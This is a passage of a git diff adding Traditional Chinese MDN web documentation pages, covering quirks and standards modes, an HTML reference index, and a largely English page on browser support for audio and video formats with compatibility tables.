+ <dt class="landingPageList"><a href="/zh-TW/docs/Web/HTML/Kinds_of_HTML_content"> HTML 內容種類</a></dt>
+ <dd class="landingPageList">HTML 由多個不同類別的內容組合, 每種內容在特殊情況下在前後關係中有效，而在其它前後關系中無效。相似地，每一組內容，也指定了可以被包含在一起的類別，以及可以或不可以在其中使用的元素。此篇提供了這些類別的指南。</dd>
+ <dt class="landingPageList"><a href="/zh-TW/docs/Web/HTML/Quirks_Mode_and_Standards_Mode">怪異模式與標準模式</a></dt>
+ <dd class="landingPageList">有關怪異模式與標準模式的歷史。</dd>
+</dl>
+
+<h2 class="landingPageList" id="相關焦點">相關焦點</h2>
+
+<dl>
+ <dt><a href="/zh-TW/docs/Web/HTML/Applying_color">使用 CSS 把色彩套用到 HTML 元素</a></dt>
+ <dd>本文章概括了把 CSS 加到 HTML 內容的方法，列出 HTML 文件的哪些部份可以套用色彩、而 CSS 有哪些屬性搬到這種事。裡面有示範、色彩選擇器的連結......等等。</dd>
+</dl>
+</div>
+</div>
+<span class="alllinks"><a href="/zh-TW/docs/tag/HTML">View All...</a></span></section>
diff --git a/files/zh-tw/web/html/quirks_mode_and_standards_mode/index.html b/files/zh-tw/web/html/quirks_mode_and_standards_mode/index.html
new file mode 100644
index 0000000000..165b062b8b
--- /dev/null
+++ b/files/zh-tw/web/html/quirks_mode_and_standards_mode/index.html
@@ -0,0 +1,46 @@
+---
+title: 怪異模式與標準模式
+slug: Web/HTML/Quirks_Mode_and_Standards_Mode
+translation_of: Web/HTML/Quirks_Mode_and_Standards_Mode
+---
+<p>很久以前，網頁通常有兩種版本：網景（Netscape）的 Navigator 以及微軟（Microsoft）的 Internet Explorer。在 W3C 創立網路標準後，為了不破壞當時既有的網站，瀏覽器不能直接起用這些標準。因此，瀏覽器導入了能分辨符合新規範、或屬於老舊網站的兩種模式。</p>
+
+<p>目前瀏覽器的排版引擎有三種模式：怪異模式（Quirks mode）、接近標準模式（Almost standards mode）、以及標準模式（Standards mode）。在<strong>怪異模式</strong>，排版會模擬 Navigator 4 與 Internet Explorer 5 的非標準行為。為了支持在網路標準被廣泛採用前，就已經建置好的網站，這麼做是必要的。在<strong>標準模式</strong>，行為（期待）由 HTML 與 CSS 的規範描述起來。在<strong>接近標準模式</strong>，有少數的怪異行為被實行。</p>
+
+<h2 id="How_does_Mozilla_determine_which_mode_to_use.3F" name="How_does_Mozilla_determine_which_mode_to_use.3F">瀏覽器如何決定用哪個模式？</h2>
+
+<p>對 <a href="/zh-TW/docs/HTML" title="/zh-TW/docs/HTML">HTML</a> 文件來說，瀏覽器使用文件開頭的 DOCTYPE 來決定用怪異模式處理或標準模式處理。為了確保頁面使用標準模式，請確認你的頁面，如同本範例一樣擁有 DOCTYPE：</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset=UTF-8&gt;
+    &lt;title&gt;Hello World!&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>範例中的 <code>&lt;!DOCTYPE html&gt;</code> 是所有可用之中最簡單、並由 HTML5 推薦的。HTML 的早期變種也屬於推薦標準，不過今日的瀏覽器都會對這個 DOCTYPE 使用標準模式，就算是已過時的 Internet Explorer 6 也一樣。目前並沒有正當理由，去使用其他更複雜的 DOCTYPE。如果使用其他 DOCTYPE，可能會冒著觸發接近標準模式、或著怪異模式的風險。</p>
+
+<p>請確定把 DOCTYPE 正確地放在 HTML 文件頂端。任何放在 DOCTYPE 前面的東西，如註解或 XML 聲明，會令 Internet Explorer 9 或更早期的瀏覽器觸發怪異模式。</p>
+
+<p>在 HTML5，DOCTYPE 唯一的作用是啟用標準模式。更早期的 HTML 標準會附加其他意義，但沒有任何瀏覽器會用 DOCTYPE 去做模式間互換以外的用途。</p>
+
+<p>另請參閱<a class="external" href="http://hsivonen.iki.fi/doctype/" title="http://hsivonen.iki.fi/doctype/">不同的瀏覽器選擇不同模式</a>的詳細說明。</p>
+
+<h3 id="XHTML">XHTML</h3>
+
+<p>如果你的網頁使用 <a href="/zh-TW/docs/XHTML" title="XHTML">XHTML</a> 並在 <code>Content-Type</code> HTTP 標頭使用 <code>application/xhtml+xml</code> MIME 類型，你不需要使用 DOCTYPE 啟動標準模式，因為這種文件會永遠使用標準模式。不過請注意服務頁面使用 <code>application/xhtml+xml</code> 會令 Internet Explorer 8 出於未知格式之故<a href="/zh-TW/docs/XHTML#Support" title="XHTML">出現下載對話框</a>，支持 XHTML 的第一個 Internet Explorer 版本是 Internet Explorer 9。</p>
+
+<p>如果你的類 XHTML 網頁使用 <code>text/html</code> MIME 類型，瀏覽器會視為 HTML，你就需要 DOCTYPE 啟用標準模式。</p>
+
+<h2 id="What_are_the_differences_between_the_modes.3F" name="What_are_the_differences_between_the_modes.3F">我要如何知道目前是哪個模式？</h2>
+
+<p>在 Firefox，請從右鍵選單選擇<em>觀看頁面資訊</em>，然後查看<em>繪製模式</em>。</p>
+
+<p>在 Internet Explorer，請按下 <em>F12</em>，然後查看<em>文件模式</em>.</p>
+
+<h2 id="What_are_the_differences_between_the_modes.3F" name="What_are_the_differences_between_the_modes.3F">這些模式有何不同？</h2>
+
+<p>請參閱<a href="/zh-TW/docs/Mozilla_Quirks_Mode_Behavior" title="Mozilla_Quirks_Mode_Behavior">怪異模式的清單</a>還有<a href="/zh-TW/docs/Mozilla/Gecko_Almost_Standards_Mode" title="Gecko 的接近標準模式">接近標準模式的清單</a>之間的差別。</p>
diff --git a/files/zh-tw/web/html/reference/index.html b/files/zh-tw/web/html/reference/index.html
new file mode 100644
index 0000000000..ccde571ad1
--- /dev/null
+++ b/files/zh-tw/web/html/reference/index.html
@@ -0,0 +1,22 @@
+---
+title: HTML 參考
+slug: Web/HTML/Reference
+translation_of: Web/HTML/Reference
+---
+<div>{{HTMLSidebar}}</div>
+
+<p>這裡的 HTML 參考描述了所有 HTML 的<strong>元素</strong>（elements）與<strong>屬性</strong>（attributes），包括為所有元素接受的<strong>全域屬性</strong>（global attributes）。</p>
+
+<dl>
+ <dd></dd>
+ <dt><a href="/zh-TW/docs/Web/HTML/Element">HTML 元素指引</a></dt>
+ <dd>本頁列出了所有 HTML elements</dd>
+ <dt><a href="/zh-TW/docs/Web/HTML/Attributes">HTML 屬性指引</a></dt>
+ <dd>HTML 中的元素具有屬性 ; 而這些屬性可以藉由各種方式去設定元素或調整它們的行為，以符合使用者的期待。</dd>
+ <dt><a href="/zh-TW/docs/Web/HTML/Global_attributes">全域屬性</a></dt>
+ <dd>Global attributes may be specified on all HTML elements, even those not specified in the standard. That means that any non-standard elements must still permit these attributes, even though using those elements means that the document is no longer HTML5-compliant. For example, HTML5-compliant browsers hide content marked as &lt;foo hidden&gt;...&lt;foo&gt;, even though &lt;foo&gt; is not a valid HTML element.</dd>
+ <dt><a href="/docs/Web/HTML/Link_types">連結類型</a></dt>
+ <dd>In HTML, the following link types indicate the relationship between two documents, in which one links to the other using an &lt;a&gt;, &lt;area&gt;, or &lt;link&gt; element.</dd>
+</dl>
+
+<p><span class="alllinks"><a href="/zh-TW/docs/tag/HTML" title="Article tagged: HTML">查閱全部文章...</a></span></p>
diff --git a/files/zh-tw/web/html/supported_media_formats/index.html b/files/zh-tw/web/html/supported_media_formats/index.html
new file mode 100644
index 0000000000..20a026e5ff
--- /dev/null
+++ b/files/zh-tw/web/html/supported_media_formats/index.html
@@ -0,0 +1,466 @@
+---
+title: Media formats supported by the HTML audio and video elements
+slug: Web/HTML/Supported_media_formats
+translation_of: Web/Media/Formats
+---
+<p>The {{ HTMLElement("audio") }} and {{ HTMLElement("video") }} elements provide support for playing audio and video media without requiring plug-ins. Video codecs and audio codecs are used to handle video and audio, and different codecs offer different levels of compression and quality. A container format is used to store and transmit the coded video and audio (both together, the case of a video with a soundtrack). Many combinations of codecs and container formats exist, although only a handful of these are relevant on the Web.</p>
+
+<p>Different browsers do not support the same media formats in their implementations of HTML5 video and audio, mainly because of patent issues. The area of media formats on the Web has greatly suffered from patent law in many countries - including the USA and EU countries (the notes on patents in this article is provided as-is and without any warranty.) This article discusses the different codec and container combinations relevant to the web, including support in browsers on both desktop and other device types.</p>
+
+<p>To make an HTML5 video, which works in the newest versions of all major browsers, you can serve your video in both WebM format and MPEG H.264 AAC format, using the <a href="/en/HTML/Element/source" title="En/HTML/Element/Source"><code>source</code></a> element like this:</p>
+
+<pre class="brush: html">&lt;video controls&gt;
+  &lt;source src="somevideo.webm" type="video/webm"&gt;
+  &lt;source src="somevideo.mp4" type="video/mp4"&gt;
+  I'm sorry; your browser doesn't support HTML5 video in WebM with VP8 or MP4 with H.264.
+  &lt;!-- You can embed a Flash player here, to play your mp4 video in older browsers --&gt;
+&lt;/video&gt;
+</pre>
+
+<h2 id="WebM">WebM</h2>
+
+<p>The <a class="external" href="http://www.webmproject.org/" title="http://www.webmproject.org/">WebM</a> format is based on a restricted version of the <a class="external" href="http://corecodec.com/products/matroska" title="http://corecodec.com/products/matroska">Matroska</a> container format. It always uses the VP8 or VP9 video codec and the Vorbis or Opus audio codec. WebM is natively supported in desktop and mobile Gecko (Firefox), Chrome and Opera, and support for the format can be added to Internet Explorer and Safari (but not on iOS) by installing an add-on.</p>
+
+<p><a href="http://blogs.msdn.com/b/ie/archive/2011/02/02/html5-and-web-video-questions-for-the-industry-from-the-community.aspx" title="http://blogs.msdn.com/b/ie/archive/2011/02/02/html5-and-web-video-questions-for-the-industry-from-the-community.aspx">Statement from Microsoft on why IE9 does not have native WebM support</a>.</p>
+
+<p>The WebM format, specifically the VP8 video codec, had been acccused of patent infringment by a group of companies answering a call by the MPEG LA for the formation of a patent pool, but <a href="http://www.businesswire.com/news/home/20130307006192/en/Google-MPEG-LA-Announce-Agreement-Covering-VP8" title="http://www.businesswire.com/news/home/20130307006192/en/Google-MPEG-LA-Announce-Agreement-Covering-VP8">MPEG LA has agreed to license those patents to Google</a> under a "<a href="http://xiphmont.livejournal.com/59893.html?thread=310261#t310261" title="http://xiphmont.livejournal.com/59893.html?thread=310261#t310261">perpetual, transferable, royalty free license"</a>.  This means, effectively, that all known patents on the WebM format are licensed to everyone for free. </p>
+
+<p>Gecko recognizes the following MIME types as WebM files:</p>
+
+<dl>
+ <dt><code>video/webm</code></dt>
+ <dd>A WebM media file containing video (and possibly audio as well).</dd>
+ <dt><code>audio/webm</code></dt>
+ <dd>A WebM media file containing only audio.</dd>
+</dl>
+
+<h2 id="Ogg_Theora_Vorbis">Ogg Theora Vorbis</h2>
+
+<p>The Ogg container format with the Theora video codec and the Vorbis audio codec is supported in desktop/mobile Gecko (Firefox), Chrome, and Opera, and support for the format can be added to Safari (but not on iOS) by installing an add-on. The format is not supported in Internet Explorer in any way.</p>
+
+<p>WebM is generally preferred over Ogg Theora Vorbis when available, because it provides a better compression to quality ratio and is supported in more browsers. The Ogg format can however be used to support older browser versions (for example Firefox 3.5/3.6 don't support WebM, but do support Ogg.)</p>
+
+<p>The patent situation of Theora is similar to that of WebM.</p>
+
+<p>You can learn more about creating Ogg media by reading the <a class="external" href="http://en.flossmanuals.net/ogg-theora/" title="http://en.flossmanuals.net/ogg-theora/">Theora Cookbook</a>.</p>
+
+<p>Gecko recognizes the following MIME types as Ogg files:</p>
+
+<dl>
+ <dt><code>audio/ogg</code></dt>
+ <dd>An Ogg file containing only audio.</dd>
+ <dt><code>video/ogg</code></dt>
+ <dd>An ogg file containing video (and possibly also audio).</dd>
+ <dt><code>application/ogg</code></dt>
+ <dd>An Ogg file with unspecified content. Using one of the other two MIME types is preferred, but you can use this if you don't know what the contents of the file are.</dd>
+</dl>
+
+<h2 id="Ogg_Opus">Ogg Opus</h2>
+
+<p>The Ogg container can also contain audio encoded using the <a class="external" href="http://www.opus-codec.org/" title="http://www.opus-codec.org/">Opus codec</a>. Support for this is available in Gecko 15.0 {{ geckoRelease("15.0") }} and later, on desktop and mobile browsers.</p>
+
+<h2 id="MP4_H.264_(AAC_or_MP3)">MP4 H.264 (AAC or MP3)</h2>
+
+<p>The MP4 container format with the H.264 video codec and the AAC audio codec is natively supported by desktop/mobile Internet Explorer, Safari and Chrome, but Chromium and Opera do not support the format. IE and Chrome also support the MP3 audio codec in the MP4 container, but Safari does not. Firefox/Firefox for Android/Firefox OS supports the format in some cases, but only when a third-party decoder is available, and the device hardware can handle the profile used to encode the MP4.</p>
+
+<div class="note">
+<p><strong>Note</strong>: MP4s encoded with a high profile will not run on lower end hardware, such as low end Firefox OS phones.</p>
+</div>
+
+<p>The MPEG media formats are covered by patents, which are not freely licensed. All the necessary licenses can be bought from MPEG LA. Since H.264 is currently not a royalty free format, it is unfit for the open web platform, according to Mozilla [<a class="external" href="http://shaver.off.net/diary/2010/01/23/html5-video-and-codecs/" title="http://shaver.off.net/diary/2010/01/23/html5-video-and-codecs/">1</a>, <a class="external" href="http://robert.ocallahan.org/2010/01/video-freedom-and-mozilla_23.html" title="http://robert.ocallahan.org/2010/01/video-freedom-and-mozilla_23.html">2</a>], Google [<a class="external" href="http://blog.chromium.org/2011/01/html-video-codec-support-in-chrome.html" title="http://blog.chromium.org/2011/01/html-video-codec-support-in-chrome.html">1</a>, <a class="external" href="http://blog.chromium.org/2011/01/more-about-chrome-html-video-codec.html" title="http://blog.chromium.org/2011/01/more-about-chrome-html-video-codec.html">2</a>] and Opera. However, since royalty free formats are not supported by Internet Explorer and Safari, <a href="https://hacks.mozilla.org/2012/03/video-mobile-and-the-open-web/" title="https://hacks.mozilla.org/2012/03/video-mobile-and-the-open-web/">Mozilla has decided to support the format anyway</a>, and Google never fulfilled their promise to <span class="external">remove support for it in Chrome</span>.</p>
+
+<h2 id="MP3">MP3</h2>
+
+<p>The MP3 audio format (.mp3, <code>audio/mpeg</code>; distinct from the above MP3 audio in an MP4 container case) is supported in <code>&lt;audio&gt;</code> by Firefox/Firefox for Android/Firefox OS when the operating system provides an MP3 decoder, and by Internet Explorer, Chrome and Safari.</p>
+
+<h2 id="WAVE_PCM">WAVE PCM</h2>
+
+<p>The WAVE container format, with the PCM audio codec (WAVE codec "1") is supported by desktop/mobile Gecko (Firefox) and Safari. Files in the WAVE container format typically end with the ".wav" extension.</p>
+
+<div class="note"><strong>Note: </strong>See <a class="external" href="http://www.rfc-editor.org/rfc/rfc2361.txt" title="http://www.rfc-editor.org/rfc/rfc2361.txt">RFC 2361</a> for the WAVE codec registry.</div>
+
+<p>Gecko recognizes the following MIME types as WAVE audio files:</p>
+
+<ul>
+ <li><code>audio/wave</code> (preferred)</li>
+ <li><code>audio/wav</code></li>
+ <li><code>audio/x-wav</code></li>
+ <li><code>audio/x-pn-wav</code></li>
+</ul>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>3.0</td>
+   <td>{{ CompatGeckoDesktop("1.9.1") }}</td>
+   <td>9.0</td>
+   <td>10.50</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: PCM in WAVE</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("1.9.1") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>10.50</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: Vorbis in WebM</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("2.0") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>10.60</td>
+   <td>3.1 (must be installed separately)</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: Vorbis in Ogg</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("1.9.1") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>10.50</td>
+   <td>3.1 (must be installed separately, e.g. <a class="external" href="http://www.xiph.org/quicktime/" title="http://www.xiph.org/quicktime/">XiphQT</a>)</td>
+  </tr>
+  <tr>
+   <td>&lt;audio&gt;: MP3</td>
+   <td>{{ CompatVersionUnknown() }} (Not in Chromium)</td>
+   <td>Partial (see below)</td>
+   <td>9.0</td>
+   <td>{{ CompatNo() }}</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: MP3 in MP4</td>
+   <td>
+    <p>{{ CompatUnknown() }}</p>
+   </td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: AAC in MP4</td>
+   <td>
+    <p>{{ CompatVersionUnknown() }} (Main only) (Not in Chromium)</p>
+   </td>
+   <td>
+    <p>Partial (see below)</p>
+   </td>
+   <td>9.0</td>
+   <td>{{ CompatNo() }}</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: Opus in Ogg</td>
+   <td>27.0</td>
+   <td>{{ CompatGeckoDesktop("15.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;video&gt;</code>: VP8 and Vorbis in WebM</td>
+   <td>6.0</td>
+   <td>{{ CompatGeckoDesktop("2.0") }}</td>
+   <td>9.0 (<a class="external" href="http://blogs.msdn.com/b/ie/archive/2011/03/16/html5-video-update-webm-for-ie9.aspx" title="http://blogs.msdn.com/b/ie/archive/2011/03/16/html5-video-update-webm-for-ie9.aspx">must be installed separately</a>, e.g. <a class="external" href="http://tools.google.com/dlpage/webmmf/" title="http://tools.google.com/dlpage/webmmf/">WebM MF</a>)</td>
+   <td>10.60</td>
+   <td>3.1 (must be installed separately, e.g. <a class="external" href="http://perian.org/" title="http://perian.org/">Perian</a>)</td>
+  </tr>
+  <tr>
+   <td><code>&lt;video&gt;</code>: VP9 and Opus in WebM</td>
+   <td>29.0</td>
+   <td>{{ CompatGeckoDesktop("28.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;video&gt;</code>:  Theora and Vorbis in Ogg</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("1.9.1") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>10.50</td>
+   <td>3.1 (must be installed separately, e.g. <a class="external" href="http://www.xiph.org/quicktime/" title="http://www.xiph.org/quicktime/">XiphQT</a>)</td>
+  </tr>
+  <tr>
+   <td><code>&lt;video&gt;</code>:  H.264 and MP3 in MP4</td>
+   <td>
+    <p>{{ CompatVersionUnknown() }} (Not in Chromium)</p>
+   </td>
+   <td>Partial (see below)</td>
+   <td>9.0</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;video&gt;</code>: H.264 and AAC in MP4</td>
+   <td>
+    <p>{{ CompatVersionUnknown() }} (Not in Chromium)</p>
+   </td>
+   <td>Partial (see below)</td>
+   <td>9.0</td>
+   <td>{{ CompatNo() }}</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td>any other format</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>3.1 (plays all formats available via QuickTime)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Opera Mini</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.3</td>
+   <td>24.0</td>
+   <td>1.0.1</td>
+   <td>10.0</td>
+   <td>11.0</td>
+   <td>Partial (see below)</td>
+   <td>3.2</td>
+   <td>29.0</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: PCM in WAVE</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>24.0</td>
+   <td>1.0.1</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>Partial (see below)</td>
+   <td>3.2</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: Vorbis in WebM</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>24.0</td>
+   <td>1.0.1</td>
+   <td>{{ CompatNo() }}</td>
+   <td>11.0</td>
+   <td>Partial (see below)</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: Vorbis in Ogg</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>24.0</td>
+   <td>1.0.1</td>
+   <td>{{ CompatNo() }}</td>
+   <td>11.0</td>
+   <td>Partial (see below)</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: MP3</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>Partial (see below)</td>
+   <td>Partial (see below)</td>
+   <td>10.0</td>
+   <td>{{ CompatNo() }}</td>
+   <td>Partial (see below)</td>
+   <td>3.2</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: MP3 in MP4</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: AAC in MP4</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>Partial (see below)</td>
+   <td>Partial (see below)</td>
+   <td>10.0</td>
+   <td>{{ CompatNo() }}</td>
+   <td>Partial (see below)</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: Opus in Ogg</td>
+   <td>{{ CompatNo() }}</td>
+   <td>24.0</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>Partial (see below)</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;video&gt;</code>:  VP8 and Vorbis in WebM</td>
+   <td>2.3</td>
+   <td>24.0</td>
+   <td>1.0.1</td>
+   <td>{{ CompatNo() }}</td>
+   <td>16.0</td>
+   <td>Partial (see below)</td>
+   <td>{{ CompatNo() }}</td>
+   <td>29.0</td>
+  </tr>
+  <tr>
+   <td><code>&lt;video&gt;</code>: VP9 and Opus in WebM</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;video&gt;</code>: Theora and Vorbis in Ogg</td>
+   <td>{{ CompatNo() }}</td>
+   <td>24.0</td>
+   <td>1.0.1</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>Partial (see below)</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;video&gt;</code>:  H.264 and MP3 in MP4</td>
+   <td>Partial (see below)</td>
+   <td>24.0</td>
+   <td>Partial (see below)</td>
+   <td>10.0</td>
+   <td>Partial since 11.0, full since 16.0</td>
+   <td>Partial (see below)</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>29.0</td>
+  </tr>
+  <tr>
+   <td><code>&lt;video&gt;</code>: H.264 and AAC in MP4</td>
+   <td>Partial (see below)</td>
+   <td>24.0</td>
+   <td>Partial (see below)</td>
+   <td>10.0</td>
+   <td>Partial since 11.0, full since 16.0</td>
+   <td>Partial (see below)</td>
+   <td>3.2</td>
+   <td>29.0</td>
+  </tr>
+  <tr>
+   <td>any other format</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Notes:</p>
+
+<ul>
+ <li>AAC is only supported in the MP4 container.</li>
+ <li>Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats.</li>
+ <li>To get the default Android browser to play H.264 video, you need to jump through some hoops, as <a href="http://www.broken-links.com/2010/07/08/making-html5-video-work-on-android-phones/">explained by Peter Gasston</a>.</li>
+ <li>In Firefox OS 1.0.1, when detecting <code>&lt;video&gt;</code> support for different formats, <code>HTMLMediaElement.prototype.canPlayType</code> incorrectly reports <code>true</code> for h.264 video whereas in actual fact h.264 is not supported. In Firefox OS 1.1 this problem has been fixed.</li>
+ <li>To avoid patent issues, support for MPEG 4, H.264, MP3 and AAC is not built directly into Firefox on desktop and mobile (Android and Firefox OS). Instead it relies on support from the OS or hardware (the hardware also needs to be able to support the profile used to encode the video, in the case of MP4). Firefox desktop supports these formats on the following platforms:</li>
+</ul>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Platform</th>
+   <th scope="col">Gecko (Firefox) version</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=799315" title="https://bugzilla.mozilla.org/show_bug.cgi?id=799315">Windows 7+</a></td>
+   <td>21.0</td>
+  </tr>
+  <tr>
+   <td><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=825153" title="https://bugzilla.mozilla.org/show_bug.cgi?id=825153">Windows Vista</a></td>
+   <td>22.0</td>
+  </tr>
+  <tr>
+   <td><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=748351" title="https://bugzilla.mozilla.org/show_bug.cgi?id=748351">Android</a></td>
+   <td>20.0</td>
+  </tr>
+  <tr>
+   <td><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=714408" title="https://bugzilla.mozilla.org/show_bug.cgi?id=714408">Firefox OS</a></td>
+   <td>15.0</td>
+  </tr>
+  <tr>
+   <td>Linux</td>
+   <td>
+    <p>26.0 (relies on GStreamer codecs being installed)</p>
+   </td>
+  </tr>
+  <tr>
+   <td>OS X 10.7</td>
+   <td><strong>Not yet </strong>(see <a class="external" href="https://bugzilla.mozilla.org/show_bug.cgi?id=851290" title="https://bugzilla.mozilla.org/show_bug.cgi?id=851290">bug</a>)</td>
+  </tr>
+ </tbody>
+</table>
+
+<ul>
+ <li><a class="external" href="http://dev.opera.com/articles/view/introduction-html5-video/#codecs" title="http://dev.opera.com/articles/view/introduction-html5-video/#codecs">Video codecs in Opera</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/library/ff975073%28v=VS.85%29.aspx" title="http://msdn.microsoft.com/en-us/library/ff975073%28v=VS.85%29.aspx">Video codecs in Internet Explorer</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/library/ff975061%28v=vs.85%29.aspx" title="http://msdn.microsoft.com/en-us/library/ff975061%28v=vs.85%29.aspx">Audio codecs in Internet Explorer</a></li>
+ <li><a href="http://www.chromium.org/audio-video" title="http://www.chromium.org/audio-video">Audio &amp; Video codecs in Chrome</a></li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="internal" href="/en/Using_HTML5_audio_and_video" title="En/Using audio and video in Firefox">Using audio and video in Firefox</a></li>
+ <li><a href="http://bluishcoder.co.nz/2013/08/21/html-media-support-in-firefox.html">HTML media support in Firefox</a></li>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#media-elements" title="http://www.whatwg.org/specs/web-apps/current-work/#media-elements">Media elements</a> (HTML 5 specification)</li>
+ <li><code><a class="internal" href="/en/HTML/Element/Video" title="En/HTML/Element/Video">video</a></code></li>
+ <li><a class="internal" href="/en/HTML/Element/Audio" title="En/HTML/Element/Audio"><code>audio</code></a></li>
+</ul>
diff --git a/files/zh-tw/web/html/using_the_application_cache/index.html b/files/zh-tw/web/html/using_the_application_cache/index.html
new file mode 100644
index 0000000000..660b5619a9
--- /dev/null
+++ b/files/zh-tw/web/html/using_the_application_cache/index.html
@@ -0,0 +1,391 @@
+---
+title: Offline resources on Firefox
+slug: Web/HTML/Using_the_application_cache
+tags:
